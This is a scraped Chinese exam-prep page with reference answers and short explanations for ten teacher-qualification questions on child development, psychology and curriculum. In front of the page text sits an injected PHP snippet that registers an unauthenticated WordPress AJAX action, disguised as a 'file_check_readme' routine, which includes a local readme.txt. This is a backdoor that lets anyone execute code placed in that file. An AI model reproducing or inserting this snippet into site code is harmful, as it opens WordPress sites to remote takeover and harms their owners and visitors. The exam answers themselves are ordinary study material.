if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } 【20140107】教师资格统考每日一练参考答案-全国教师资格考试网
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【20140107】教师资格统考每日一练参考答案

来源： 教师资格考试网
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1.【答案】C。一般认为，3～6岁是儿童个性形成的开始时期。

2.【答案】D。有差别的微笑出现标志着幼儿最初的社会性发生。

3.【答案】D。这一实验说明了儿童的成长受生理和心理成熟机制的制约。

4.【答案】A。一些教育思想家从宗教的角度或从信阳出发论述教育目的，这就形成了所谓的“神学的教育目的论”。从宗教的立场出发所阐发的教育目的具有明确的终极价值性，具有较高的精神含量，它对我们思考人与教育的实质有一定的启示作用。

5.【答案】C。冯特于1879年在德国莱比锡大学建立世界上第一个心理学实验室，标志着科学心理学的诞生。

6.【答案】B。心理是人脑对客观现实主观能动的反映，客观现实决定人的心理，是心理的源泉和内容。

7.【答案】A。学科课程是以学科为中心，按照知识的逻辑体系组织的课程，有利于学生系统地掌握人类所取得的经验。

8.【答案】B。

9.【答案】C。“君子耻其言而过其行”这句话出自《论语》“宪问篇”。

10.【答案】B。非正式群体是相对于班委会、团小组等一类正式群体而言的，是无正式规定下自发形成的群体。这种群体的成员间带有明显的情绪色彩，完全是以个人间的好感、喜爱为基础的。各种非正式群体都有自身的价值取向，不同非正式群体间的价值取向有差异性。而正式群体中的内部成员间在价值取向上保持较高的一致性。

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